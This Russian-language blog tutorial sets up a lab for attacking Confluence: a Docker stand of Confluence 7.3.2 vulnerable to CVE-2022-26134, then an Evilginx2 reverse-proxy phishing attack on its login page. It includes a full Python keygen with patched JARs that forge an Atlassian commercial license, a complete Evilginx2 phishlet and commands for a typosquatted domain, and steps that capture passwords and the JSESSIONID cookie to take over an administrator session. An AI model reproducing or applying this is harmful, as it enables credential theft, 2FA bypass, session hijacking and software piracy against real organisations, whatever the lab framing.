JS-бэкдоринг Confluence: подготовка

11 мин 14.05.2026

Эта заметка дополняет статью «Атака у водопоя: внедряем JS-бэкдор в Confluence» в журнале «Хакер». Здесь я собрал практический материал о том, как развернуть лабораторный стенд с уязвимой к CVE-2022-26134 версией Confluence Server, собрать свой фишлет Evilginx2 под форму входа Confluence и проверить его работоспособность на этом же стенде.

Дисклеймер. Материал носит исключительно информационно-образовательный характер и предназначен для использования только в рамках законной деятельности по анализу и повышению безопасности информационных систем. Любые действия с применением описанных подходов допустимы исключительно в отношении систем, владельцем которых вы являетесь, либо систем, на тестирование которых у вас есть явное письменное разрешение. Несанкционированное применение описанных техник может нарушать законодательство и повлечь гражданско-правовую, административную или уголовную ответственность. Автор не призывает к противоправным действиям и не несёт ответственности за последствия использования материала.


Контекст

Атака у водопоя (watering hole attack) — это таргетированная атака, при которой вредоносный код размещается не на отдельной фишинговой странице, а на ресурсе, которым целевая аудитория и так регулярно пользуется. В результате пользователю не нужно переходить на подозрительный внешний сайт: достаточно открыть привычный внутренний сервис.

В корпоративной инфраструктуре на эту роль хорошо подходит Confluence. Это не просто база знаний, а рабочий инструмент, к которому сотрудники регулярно обращаются за документацией, регламентами, внутренними инструкциями и проектной информацией.

Для атакующего Confluence интересен сразу по нескольким причинам:

  • Высокая посещаемость. К серверу ежедневно обращаются десятки или сотни сотрудников.
  • Доверие к ресурсу. Внутренняя wiki обычно воспринимается как легитимная часть инфраструктуры, поэтому подозрений вызывает меньше, чем отдельная ссылка или внешний домен.
  • Штатный Custom HTML. Административная функция Confluence позволяет добавить произвольный HTML/JS в страницы сервера без эксплуатации отдельной XSS.

Подготовка лабораторного стенда

Установка Docker

Все шаги воспроизводимы и на Windows, и на Unix-системах. Скриншоты и команды ниже сделаны на Windows 11.

  1. Установите Docker Desktop с официального сайта:

confluence_setup_01_docker_desktop_download.png

Если устанавливаете Docker Desktop впервые – есть подробный гайд от Selectel с разбором всех нюансов под Windows.

  1. Убедитесь, что после установки в терминале стала доступна команда docker:

confluence_setup_02_docker_cli_available.png

Запуск Confluence Server

  1. Создайте рабочую директорию docker_confluence в любом удобном месте:

confluence_setup_docker_01_working_directory.png

  1. В этой директории создайте файл docker-compose.yml со следующим содержимым:
version: '3'
services:
  postgres:
    image: postgres
    restart: always
    networks:

      - confluencenet
    volumes:
      - ./postgresql:/var/lib/postgresql
    environment:
      - POSTGRES_DB=confluence
      - POSTGRES_USER=confluence
      - POSTGRES_PASSWORD=confluence
      - POSTGRES_ENCODING=UNICODE
      - POSTGRES_COLLATE=C
      - POSTGRES_COLLATE_TYPE=C
  confluence:
    image: atlassian/confluence-server:7.3.2
    restart: always
    networks:
      - confluencenet
    volumes:
      - ./confluence-home:/var/atlassian/application-data/confluence
    ports:
      - 8090:8090
networks:
  confluencenet: {}
volumes:
  pgdata:
    external: true
# JDBC URL:  jdbc:postgresql://postgres:5432/confluence
# db: login: confluence / password: confluence
  1. Откройте терминал в этой директории и выполните docker compose up:

confluence_setup_docker_02_docker_desktop_not_running_error.png

Если увидели такую же ошибку – значит, Docker Desktop ещё не запущен. Запустите его и повторите команду:

confluence_setup_docker_03_docker_compose_startup.png

Начнётся скачивание и автоматическое развёртывание нужных образов – Confluence Server и PostgreSQL:

confluence_setup_docker_04_confluence_container_startup_logs.png

Появление в логах строки database system is ready to accept connections означает, что стенд готов к настройке Confluence через веб-интерфейс:

confluence_setup_docker_05_confluence_and_postgres_ready_logs.png

  1. Откройте в браузере http://localhost:8090. На экране выбора дополнительных приложений нажмите «Next»:

confluence_setup_03_additional_apps_selection.png

  1. На странице ввода лицензионного ключа нажмите «Get an evaluation license»:

confluence_setup_04_license_key_form.png

Внимание! Получить evaluation-лицензию через сайт Atlassian уже нельзя: с 30 марта 2026 года выдача таких ключей официально приостановлена. Поэтому для изолированной лаборатории пойдём другим путём. В рабочей или коммерческой среде используйте только официальную лицензию Atlassian!

Активация лицензии

Полезные источники:

  1. Скачайте из соответствующей папки репозитория файлы atlassian-extras-decoder-v2-3.4.1.jar и atlassian-universal-plugin-manager-plugin-4.0.6.jar и положите их в ранее созданную директорию docker_confluence:

license_activation_01_atlassian_crack_repo.png

license_activation_02_jars_in_working_directory.png

  1. Остановите запущенные контейнеры в терминале сочетанием Ctrl+C:

license_activation_03_compose_shutdown.png

  1. Внесите изменения в файл docker-compose.yml, добавив в секцию volumes сервиса confluence две строки:
- ./atlassian-extras-decoder-v2-3.4.1.jar:/opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar:ro
- ./atlassian-universal-plugin-manager-plugin-4.0.6.jar:/opt/atlassian/confluence/confluence/WEB-INF/atlassian-bundled-plugins/atlassian-universal-plugin-manager-plugin-4.0.6.jar:ro

В результате docker-compose.yml должен выглядеть так:

version: '3'
services:
    postgres:
        image: postgres
        restart: always
        networks:

          - confluencenet
        volumes:
          - ./postgresql:/var/lib/postgresql
        environment:
          - POSTGRES_DB=confluence
          - POSTGRES_USER=confluence
          - POSTGRES_PASSWORD=confluence
          - POSTGRES_ENCODING=UNICODE
          - POSTGRES_COLLATE=C
          - POSTGRES_COLLATE_TYPE=C
    confluence:
        image: atlassian/confluence-server:7.3.2
        restart: always
        networks:
          - confluencenet
        volumes:
          - ./confluence-home:/var/atlassian/application-data/confluence
          - ./atlassian-extras-decoder-v2-3.4.1.jar:/opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar:ro
          - ./atlassian-universal-plugin-manager-plugin-4.0.6.jar:/opt/atlassian/confluence/confluence/WEB-INF/atlassian-bundled-plugins/atlassian-universal-plugin-manager-plugin-4.0.6.jar:ro
        ports:
          - 8090:8090
networks:
    confluencenet: {}
volumes:
  pgdata:
    external: true
# JDBC URL:  jdbc:postgresql://postgres:5432/confluence
# db: login: confluence / password: confluence
# need a Confluence license such as a $10 10 user license or timebomb license
  1. Пересоберите контейнеры с нуля. На Windows эта команда выглядит так:
docker compose down -v --rmi all --remove-orphans && rmdir /s /q postgresql confluence-home && docker compose up --build

license_activation_04_compose_rebuild.png

  1. После пересборки снова идём настраивать Confluence через веб-интерфейс. Дойдите до шага License key и остановитесь – на этом экране нам понадобится значение поля Server ID:

license_activation_05_license_key_page_with_server_id.png

  1. Теперь нужен скрипт для генерации ключа лицензии. Ниже – порт оригинального PHP-скрипта на Python. Сохраните его в директории docker_confluence под именем license_gen.py:
#!/usr/bin/env python3
# THIS SCRIPT IS USED FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE IT IN ILLEGAL WAY!!!
"""Atlassian Keygen v2 — Python port of atlassian-keygen.php."""

import argparse
import base64
import os
import struct
import sys
import zlib
from pathlib import Path

LICENSE_V2_ID = bytes([0x0D, 0x0E, 0x0C, 0x0A, 0x0F])
ZLIB_PREFIX = b"\x78\xDA"

LICENSE_TEMPLATE = """Description=Confluence\\: Commercial
CreationDate=2019-01-01
conf.active=true
Evaluation=false
conf.LicenseTypeName=COMMERCIAL
MaintenanceExpiryDate=2099-01-01
conf.NumberOfClusterNodes=0
Organisation=chungkol.com
ServerID={server_id}
SEN=L15762276
LicenseID=LIDSEN-L15762276
conf.NumberOfUsers=-1
LicenseExpiryDate=2099-01-01
PurchaseDate=2019-01-01
"""


def base_convert(num: int, to_base: int) -> str:
    """PHP-compatible base_convert (digits 0-9a-z, lowercase)."""
    if num == 0:
        return "0"
    digits = "0123456789abcdefghijklmnopqrstuvwxyz"
    out = []
    while num > 0:
        out.append(digits[num % to_base])
        num //= to_base
    return "".join(reversed(out))


def print_binary_code(data: bytes) -> None:
    for i, byte in enumerate(data):
        sys.stdout.write(f"{byte:02X}")
        if (i + 1) % 40 == 0:
            sys.stdout.write("\n")
    sys.stdout.write("\n")


def print_code(text: bytes) -> None:
    s = text.decode("latin-1") if isinstance(text, (bytes, bytearray)) else text
    for i, ch in enumerate(s):
        sys.stdout.write(ch)
        if (i + 1) % 80 == 0:
            sys.stdout.write("\n")
    sys.stdout.write("\n")


def strip_spaces(code: bytes) -> bytes:
    return code.translate(None, b"\r\n\t ")


class Application:
    def __init__(self) -> None:
        self.mode: str | None = None
        self.source_file: str | None = None
        self.signature_file: str | None = None
        self.result_file: str | None = None

    def run(self, argv: list[str]) -> None:
        parser = self._build_parser()
        args = parser.parse_args(argv[1:])

        if args.help or (not args.encode and not args.decode and not args.generate):
            parser.print_help()
            if not args.help:
                self._show_error("Invalid mode")
                sys.exit(1)
            return

        if args.generate:
            self._generate_from_template(server_id=args.generate)
            return

        if args.encode:
            self.mode = "encode"
            self.source_file = args.encode
        else:
            self.mode = "decode"
            self.source_file = args.decode

        self.signature_file = args.signature
        self.result_file = args.result

        if not Path(self.source_file).exists():
            print(f"ERROR: Unable to find source file: {self.source_file}")
            sys.exit(1)

        if self.mode == "encode":
            if self.signature_file and not Path(self.signature_file).exists():
                print(f"ERROR: Unable to find signature file: {self.signature_file}")
                sys.exit(1)
            self._encode_file()
        else:
            self._decode_file()

    def _generate_from_template(self, server_id: str) -> None:
        text = LICENSE_TEMPLATE.format(server_id=server_id).encode("latin-1")
        gz_suffix = struct.pack(">I", zlib.adler32(text))
        compressor = zlib.compressobj(6, zlib.DEFLATED, -zlib.MAX_WBITS)
        deflated = compressor.compress(text) + compressor.flush()
        framed = LICENSE_V2_ID + ZLIB_PREFIX + deflated + gz_suffix
        data = struct.pack(">I", len(framed)) + framed
        encoded = base64.b64encode(data).decode("ascii").strip()
        result = encoded + "X02" + base_convert(len(encoded), 31)
        print(result)

    @staticmethod
    def _build_parser() -> argparse.ArgumentParser:
        prog = os.path.basename(sys.argv[0]) if sys.argv else "test.py"
        parser = argparse.ArgumentParser(
            prog=prog,
            description="Atlassian Keygen v2\n"
                        "(jira will accept keys generated by this keygen only if patched for that)",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            add_help=False,
        )
        parser.add_argument("-h", action="store_true", dest="help",
                            help="this screen")
        group = parser.add_mutually_exclusive_group()
        group.add_argument("-e", dest="encode", metavar="FILE",
                           help="encode license file and attach signature")
        group.add_argument("-d", dest="decode", metavar="FILE",
                           help="decode license file and detach signature")
        group.add_argument("-g", dest="generate", metavar="SERVER_ID",
                           help="generate license from built-in template using given ServerID")
        parser.add_argument("-s", dest="signature", metavar="FILE",
                            help="signature file")
        parser.add_argument("-r", dest="result", metavar="FILE",
                            help="put results in file")
        return parser

    @staticmethod
    def _show_error(message: str) -> None:
        print(f"ERROR: {message}")

    def _encode_file(self) -> None:
        code = Path(self.source_file).read_bytes()
        sys.stdout.write(f" > Source => {self.source_file}:\n")
        sys.stdout.write(code.decode("latin-1"))
        sys.stdout.write("\n")

        sig_label = self.signature_file if self.signature_file else "<none>"
        sys.stdout.write(f" > Signature => {sig_label}:\n")
        if self.signature_file:
            signature = Path(self.signature_file).read_bytes()
            print_binary_code(signature)
        else:
            signature = None

        result = self._encode_v2(code, signature)
        res_label = self.result_file if self.result_file else "<none>"
        sys.stdout.write(f" > Result => {res_label}:\n")
        print_code(result)
        if self.result_file:
            Path(self.result_file).write_bytes(result.encode("latin-1"))

    def _decode_file(self) -> None:
        raw = Path(self.source_file).read_bytes()
        code = strip_spaces(raw)
        sys.stdout.write(f" > Source => {self.source_file}:\n")
        print_code(code)

        text, signature = self._decode_v2(code)

        sig_label = self.signature_file if self.signature_file else "<none>"
        sys.stdout.write(f" > Signature => {sig_label}:\n")
        print_binary_code(signature)
        if self.signature_file:
            Path(self.signature_file).write_bytes(signature)

        res_label = self.result_file if self.result_file else "<none>"
        sys.stdout.write(f" > Result => {res_label}:\n")
        sys.stdout.write(text.decode("latin-1"))
        sys.stdout.write("\n")
        if self.result_file:
            Path(self.result_file).write_bytes(text)

    def _decode_v2(self, code: bytes) -> tuple[bytes, bytes]:
        code = strip_spaces(code)

        x_pos = code.rfind(b"X")
        if x_pos < 0:
            self._show_error("Invalid license format: 'X' marker not found")
            sys.exit(1)

        ver = code[x_pos + 1:x_pos + 3]
        if ver != b"02":
            self._show_error(f"Invalid license version: {ver.decode('latin-1', 'replace')}")
            sys.exit(1)

        code = code[:x_pos]

        sys.stdout.write(" > data:\n")
        print_code(code)

        binary = base64.b64decode(code)

        sys.stdout.write(" > binary data:\n")
        print_binary_code(binary)

        size = struct.unpack(">I", binary[:4])[0]
        sys.stdout.write("> size: \n ")
        sys.stdout.write(str(size))

        text = binary[4:4 + size]
        signature = binary[4 + size:]

        magic = text[:5]
        if magic != LICENSE_V2_ID:
            self._show_error("Invalid license v2 format")
            sys.exit(1)

        text = text[5:]
        sys.stdout.write(" > zlib prefix:\n")
        print_binary_code(text[:2])

        text = text[2:]
        sys.stdout.write(" > zlib suffix:\n")
        print_binary_code(text[-4:])

        text = text[:-4]
        text = zlib.decompress(text, -zlib.MAX_WBITS)
        return text, signature

    def _encode_v2(self, text: bytes, signature: bytes | None) -> str:
        gz_prefix = ZLIB_PREFIX
        gz_suffix = struct.pack(">I", zlib.adler32(text))
        sys.stdout.write(" > zlib prefix:\n")
        print_binary_code(gz_prefix)
        sys.stdout.write(" > zlib suffix:\n")
        print_binary_code(gz_suffix)

        compressor = zlib.compressobj(6, zlib.DEFLATED, -zlib.MAX_WBITS)
        deflated = compressor.compress(text) + compressor.flush()

        framed = LICENSE_V2_ID + gz_prefix + deflated + gz_suffix
        sys.stdout.write(" > size:\n")
        sys.stdout.write(str(len(framed)))
        size = struct.pack(">I", len(framed))

        data = size + framed + (signature if signature else b"")

        sys.stdout.write(" > binary data:\n")
        print_binary_code(data)

        encoded = base64.b64encode(data).decode("ascii").strip()
        sys.stdout.write(" > data:\n")
        print_code(encoded.encode("ascii"))

        return encoded + "X" + "0" + "2" + base_convert(len(encoded), 31)


def main() -> None:
    Application().run(sys.argv)


if __name__ == "__main__":
    main()
  1. Сгенерируйте ключ лицензии, передав скрипту значение Server ID со страницы License key:
python license_gen.py -g <ВАШ_SERVER_ID>

license_activation_06_keygen_output.png

  1. Скопируйте полученный ключ в поле Confluence на экране License key и нажмите «Next». На следующем шаге выберите My own database и нажмите «Next»:

license_activation_07_my_own_database_choice.png

  1. Выберите тип соединения By connection string, укажите Database URL – jdbc:postgresql://postgres:5432/confluence, Username – confluence, Password – confluence, затем нажмите «Test connection»:

confluence_setup_15_postgres_connection_parameters.png

  1. Дождитесь сообщения «Success! Database connected successfully.»:

confluence_setup_16_postgres_connection_success.png

  1. Нажмите «Next» – начнётся инициализация базы данных Confluence:

confluence_setup_17_database_initialization.png

  1. Дождитесь завершения инициализации БД. На следующем шаге выберите Empty Site:

confluence_setup_18_empty_site_selection.png

  1. Нажмите «Manage users and groups with Confluence»:

confluence_setup_19_user_management_selection.png

  1. Создайте пользователя с правами администратора и нажмите «Next»:

confluence_setup_20_admin_account_creation_form.png

  1. Нажмите «Start»:

confluence_setup_21_setup_completion.png

  1. Откроется страница создания первого пространства. Укажите имя нового пространства и нажмите «Продолжить»:

confluence_setup_22_confluence_welcome_page.png

  1. Откроется редактор первой страницы с обучающим попапом. Пройдите обучение или нажмите «Пропустить обучение»:

confluence_setup_23_first_space_creation.png

  1. После завершения или пропуска обучения откроется рабочая область Confluence:

confluence_setup_24_workspace_home_page.png

Если вы попали на эту страницу – установка прошла успешно. Содержимое директории docker_confluence теперь должно выглядеть так:

license_activation_08_directory_with_keygen.png

На этом подготовку лабораторного стенда можно считать завершённой: у нас есть рабочий уязвимый Confluence Server, на котором мы можем отрабатывать фишинговую атаку и эксплуатацию уязвимости CVE-2022-26134.


Фишинг с помощью Evilginx

Перед внедрением JS-бэкдора в основной статье нужно получить административную сессию Confluence. В лабораторных условиях самый наглядный способ – поднять Evilginx2-прокси и провести MitM-сценарий на форме входа: перехватить логин, пароль и валидный JSESSIONID.

Evilginx2 – open-source инструмент для фишинговых атак по схеме Man-in-the-Middle. Он работает как обратный прокси между жертвой и целевым сайтом: пользователь думает, что взаимодействует с легитимным ресурсом, а Evilginx2 незаметно собирает учётные данные и валидные сессионные токены – этого достаточно, чтобы обойти в т.ч. двухфакторную аутентификацию (2FA).

Полезные ресурсы:

Далее мы:

  1. Установим Go и соберём Evilginx2 из исходников.
  2. Подготовим кастомный фишлет под Confluence.
  3. Пропишем домены в файле hosts и поднимем reverse proxy.
  4. Проверим проксирование входа и убедимся, что сессия успешно перехвачена.

Установка Go и Evilginx2

  1. Установите Go согласно официальной инструкции. После установки команда go должна быть доступна из консоли:

evilginx_setup_01_go_cli_available.png

  1. Склонируйте официальный репозиторий Evilginx2 и перейдите в его директорию:
git clone https://github.com/kgretzky/evilginx2
cd evilginx2

evilginx_setup_02_evilginx_git_clone.png

  1. Выполните build_run.bat:

evilginx_setup_03_build_run_bat_execution.png

  1. После успешной сборки Evilginx2 поприветствует нас своим баннером:

evilginx_setup_04_evilginx_first_run.png

Сообщение [!!!] Failed to start nameserver on :53 можно игнорировать: для лабораторного стенда мы не используем DNS Evilginx2, а явно прописываем нужные домены в hosts.

Встроенную справку всегда можно вызвать командой help:

evilginx_phishing_01_evilginx_help_output.png

Фишлет Confluence

Конечная цель – собрать YAML-фишлет, который заставит Evilginx2 корректно проксировать форму входа Confluence и извлекать нужные поля.

Начнём формировать нужный нам фишлет в папке phishlets. Для этого сделаем копию файла example.yaml и переименуем её в confluence.yaml: evilginx_phishlet_01_phishlets_directory.png

Так будет выглядеть содержимое нашего фишлета по умолчанию: evilginx_phishlet_02_example_yaml_default.png

Допустим, что тестовый Confluence-сервер развёрнут по адресу confluence.vulnerable-site.ru. Дальше будем считать это исходными данными и опираться на них при заполнении каждого блока фишлета.

Соберём фишлет за шесть шагов: на каждом шаге будем заполнять один YAML-блок. Описание формата и всех доступных полей есть в официальной документации Evilginx2 – пригодится, если захочется собрать фишлет под другой целевой сервис.

  1. min_ver – минимальная версия Evilginx2, для которой написан фишлет. Оставляем '3.0.0':
min_ver: '3.0.0'
  1. proxy_hosts – список доменов, которые Evilginx2 будет проксировать:
proxy_hosts:

  - {phish_sub: 'confluence', orig_sub: 'confluence', domain: 'vulnerable-site.ru', session: true, is_landing: true, auto_filter: true }
  • phish_sub: 'confluence' – поддомен, который Evilginx2 будет использовать для фишингового хоста (на нашей подменённой зоне получим confluence.<phishing-domain>);
  • orig_sub: 'confluence' – тот же поддомен на оригинале (confluence.vulnerable-site.ru);
  • domain: 'vulnerable-site.ru' – базовый домен оригинального сервиса;
  • session: true – на этом хосте Evilginx2 будет захватывать сессионные cookies;
  • is_landing: true – именно с этого хоста выдаётся фишинговая ссылка (lure), сгенерированная Evilginx2;
  • auto_filter: true – Evilginx2 автоматически сгенерирует sub_filters (правила подмены ссылок на оригинальный домен в проксируемом контенте), чтобы не пришлось расписывать их вручную.
  1. auth_tokens – какие cookies нужно искать в ответах сервера. Для Confluence Server это JSESSIONID. Модификатор :always заставляет Evilginx2 захватить cookie, даже если у неё нет атрибута Expires (т. е. она session-only и теряется после закрытия браузера) – без этого модификатора такие cookies не сохранялись бы:
auth_tokens:

  - domain: 'confluence.vulnerable-site.ru'
    keys: ['JSESSIONID:always']

Как узнать имя сессионной cookie? Cookies, которые сервер выставляет после успешного логина, видны в HTTP-ответе на запрос аутентификации. Посмотреть на этот ответ можно двумя способами:

  • Браузер. Откройте DevTools → вкладка Network, обязательно включите Preserve log (иначе редирект после логина очистит историю запросов). Залогиньтесь, найдите запрос POST /dologin.action, в правой панели разверните Response Headers и посмотрите заголовки Set-Cookie – интересующая нас cookie будет выглядеть так: Set-Cookie: JSESSIONID=...; Path=/; HttpOnly.
  • Burp Suite (подойдёт даже Community Edition). В режиме перехвата дождитесь POST-запроса на /dologin.action, посмотрите соответствующий ответ сервера и найдите тот же Set-Cookie: JSESSIONID=... в заголовках.

Имя cookie (JSESSIONID) – ровно то, что мы и подставляем в auth_tokens.keys.

evilginx_phishing_03_devtools_jsessionid_set_cookie.png

  1. credentials – откуда вытаскивать логин и пароль из запроса формы. Чтобы понять, какие именно поля идут на сервер, перехватим HTTP-запрос аутентификации в Burp Suite:

evilginx_phishing_04_confluence_login_page_burp.png

Смотрим тело POST-запроса и ответ сервера:

evilginx_phishing_05_auth_request_parameters.png

Из перехваченного запроса видно:

  • путь аутентификации – /dologin.action;
  • логин передаётся в параметре os_username;
  • пароль – в параметре os_password;
  • сессионная cookie – JSESSIONID.

Подставляем имена полей в фишлет. search: '(.*)' – регулярка-«всё подряд», type: 'post' – ищем в теле POST-запроса:

credentials:
  username:
    key: 'os_username'
    search: '(.*)'
    type: 'post'
  password:
    key: 'os_password'
    search: '(.*)'
    type: 'post'
  1. login – где у легитимного сайта расположена страница логина. Evilginx2 использует этот адрес, чтобы понимать, откуда начинается аутентификационный поток. У нас это /dologin.action, который мы только что увидели в Burp:
login:
  domain: 'confluence.vulnerable-site.ru'
  path: '/dologin.action'
  1. auth_urls – пути, по которым Evilginx2 понимает, что авторизация прошла успешно. Для Confluence это полезная подстраховка: JSESSIONID может появиться ещё до успешного входа, поэтому фиксировать сессию лучше только после обращения к авторизованному эндпоинту. В нашем случае подходит /rest/mywork/latest/status/notification/count – браузер запрашивает его сразу после логина:
auth_urls:

  - '/rest/mywork/latest/status/notification/count'

В итоге собранный нами confluence.yaml выглядит так:

min_ver: '3.0.0'
proxy_hosts:

  - {phish_sub: 'confluence', orig_sub: 'confluence', domain: 'vulnerable-site.ru', session: true, is_landing: true, auto_filter: true }
auth_tokens:
  - domain: 'confluence.vulnerable-site.ru'
    keys: ['JSESSIONID:always']
credentials:
  username:
    key: 'os_username'
    search: '(.*)'
    type: 'post'
  password:
    key: 'os_password'
    search: '(.*)'
    type: 'post'
login:
  domain: 'confluence.vulnerable-site.ru'
  path: '/dologin.action'
auth_urls:
  - '/rest/mywork/latest/status/notification/count'

Скриншот итогового фишлета в редакторе:

evilginx_phishlet_03_confluence_yaml_final.png

Настройка доменов и запуск Evilginx2

В лабораторных условиях не нужно регистрировать домены и поднимать DNS – оба адреса (легитимный и фишинговый) разрешим через локальный файл hosts. Пусть Confluence-сервер «живёт» на confluence.vulnerable-site.ru, а фишинговая копия – на confluence.vulnerable-slte.ru.

Обратите внимание на доменное имя: vulnerable-slte.ru вместо vulnerable-site.ru. Замена одной буквы (typosquatting) – классический приём: на первый взгляд домен выглядит легитимно.

  1. Узнайте IPv4-адрес сетевого интерфейса своей машины – он понадобится Evilginx2 как «внешний» адрес и заодно пропишется в hosts для фишингового домена:
ipconfig

evilginx_phishing_06_ipconfig_network_interface.png

В моём случае – 192.168.0.80.

  1. Откройте C:\Windows\System32\drivers\etc\hosts Блокнотом от имени администратора и добавьте две записи:
127.0.0.1       confluence.vulnerable-site.ru
192.168.0.80    confluence.vulnerable-slte.ru

Легитимный домен указывает на локальный Confluence (Docker слушает 127.0.0.1:8090). Фишинговый – на тот же IPv4, что вернул ipconfig: на этом адресе ниже встанет Evilginx2.

evilginx_phishing_07_hosts_both_domains.png

  1. Убедитесь, что Confluence открывается по новому имени – http://confluence.vulnerable-site.ru:8090:

evilginx_phishing_08_confluence_at_new_domain.png

  1. Запустите Evilginx2 – он подхватит свежий confluence.yaml из phishlets/ и покажет его в таблице со статусом disabled:

evilginx_phishing_09_evilginx_first_run_with_phishlet.png

  1. Сообщите Evilginx2 информацию о вашем фишинговом домене:
config domain vulnerable-slte.ru
config ipv4 192.168.0.80
config ipv4 bind 192.168.0.80
phishlets hostname confluence vulnerable-slte.ru
exit

evilginx_phishing_10_evilginx_config_phishing_domain.png

  1. Перезапустите Evilginx2 через build_run.bat, активируйте фишлет и проверьте конфигурацию:
phishlets enable confluence
config

evilginx_phishing_11_evilginx_phishlet_enabled_config.png

В выводе config обратите внимание на external_ipv4 и bind_ipv4 – оба должны быть равны IPv4 из ipconfig.

  1. Создайте lure для фишлета и заберите фишинговую ссылку:
lures create confluence
lures get-url 0

evilginx_phishing_12_lure_url_generated.png

В моём случае Evilginx2 сгенерировал https://confluence.vulnerable-slte.ru/FcasMqsi – именно эту ссылку используем в тестовом сценарии.

  1. При желании добавьте корневой сертификат Evilginx в доверенные центры сертификации. Evilginx выпускает TLS-сертификаты для фишингового домена и подписывает их самоподписанным CA – без этого CA в доверенных браузер будет показывать предупреждение о ненадёжном сертификате.

Windows: откройте C:\Users\%USERNAME%\.evilginx\crt\ca.crt двойным щелчком → «Установить сертификат» → «Доверенные корневые центры сертификации».

evilginx_phishing_13_evilginx_root_ca_certificate.png

Firefox использует собственное хранилище сертификатов – импортируйте ca.crt через Settings → Privacy & Security → Certificates → View Certificates → Import.

HTTPS reverse proxy перед Confluence

Evilginx2 3.3.0 не умеет проксировать трафик к ресурсам, работающим на нестандартных портах (и/или без TLS). Наш Confluence слушает :8090 без HTTPS – поэтому между Evilginx2 и Confluence нужен промежуточный reverse-прокси с HTTPS на порту 443. В лабе обойдёмся tiny-ssl-reverse-proxy.

  1. Склонируйте репозиторий и соберите бинарник:
git clone https://github.com/cantabular/tiny-ssl-reverse-proxy
cd tiny-ssl-reverse-proxy
go build -o .\build\tiny-ssl-reverse-proxy.exe -mod=vendor

reverse_proxy_01_clone_and_build.png

  1. Сгенерируйте самоподписанный TLS-сертификат и приватный ключ, затем запустите прокси: HTTPS на 127.0.0.1:443 → HTTP на 127.0.0.1:8090:
docker run --rm -v "%cd%":/data -w /data alpine/openssl ^
  req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=localhost"
.\build\tiny-ssl-reverse-proxy.exe -cert cert.pem -key key.pem -where http://localhost:8090 -listen 127.0.0.1:443

reverse_proxy_02_tls_keys_and_run.png

Проверка перехвата сессии

  1. Переходим по фишинговой ссылке. Поскольку TLS-сертификат подписан корневым CA Evilginx2, а мы его не добавляли в доверенные, браузер показывает предупреждение – нажимаем «Дополнительно → Перейти на сайт»:

evilginx_phishing_14_browser_cert_warning.png

После этого открывается фишинговая копия страницы аутентификации Confluence:

evilginx_phishing_15_confluence_login_via_phishing.png

Обратите внимание на адресную строку: ссылка ведёт не на легитимный домен vulnerable-site.ru, а на typosquatting-вариант vulnerable-slte.ru.

В консоли Evilginx2 видны запросы жертвы – проксирование работает:

evilginx_phishing_16_evilginx_traffic_logs.png

В соседнем окне tiny-ssl-reverse-proxy.exe фиксирует те же запросы на стороне HTTPS-фронта:

reverse_proxy_03_proxy_traffic_logs.png

  1. Вводим логин и пароль администратора и проходим аутентификацию. С точки зрения жертвы – обычный вход в Confluence:

evilginx_phishing_17_victim_logged_in.png

Evilginx2 в этот момент перехватывает учётные данные из POST-запроса /dologin.action:

evilginx_phishing_18_evilginx_creds_intercepted.png

Команда sessions показывает таблицу перехваченных сессий, а sessions <id> – содержимое конкретной: логин, пароль и cookies (включая JSESSIONID), которых достаточно, чтобы зайти в Confluence от имени администратора:

evilginx_phishing_19_sessions_overview.png

Мы успешно перехватили логин, пароль и актуальный сессионный токен (JSESSIONID). Далее можно продолжить работу из-под зафишенной учётки или создать дополнительную админскую (например, backup-adm).

Чтобы зайти в Confluence от имени жертвы, пароль уже не нужен – достаточно подложить в свой браузер её cookies.

Подойдёт любое расширение, умеющее импортировать cookies в формате JSON. Например, Cookie-Editor для Chrome и Firefox.

  1. Откройте в своём браузере легитимный домен Confluence (confluence.vulnerable-site.ru) и убедитесь, что вы не авторизованы – перед нами обычная форма входа. В консоли Evilginx2 рядом держим вывод sessions <id>: в самой нижней строке [cookies] лежит JSON, который сейчас и подложим:

evilginx_phishing_20_attacker_browser_with_cookie_editor.png

  1. Откройте Cookie-Editor → Import и вставьте скопированный JSON в поле ввода:

evilginx_phishing_21_cookie_editor_import_json.png

  1. Жмём Import. Расширение показывает уведомление Cookies were imported, а в списке появляется JSESSIONID с тем же значением, что было в sessions <id>:

evilginx_phishing_22_jsessionid_imported.png

Обновляем страницу – Confluence пускает нас внутрь под учётной записью администратора:

evilginx_phishing_23_logged_in_via_session.png

Итог

На этом подготовительная часть завершена: у нас есть локальный Confluence Server 7.3.2, HTTPS reverse proxy перед ним, рабочий фишлет Evilginx2 и проверенный сценарий входа по перехваченной cookie. Этот стенд можно использовать как основу для дальнейшей работы с основной статьёй на «Хакере».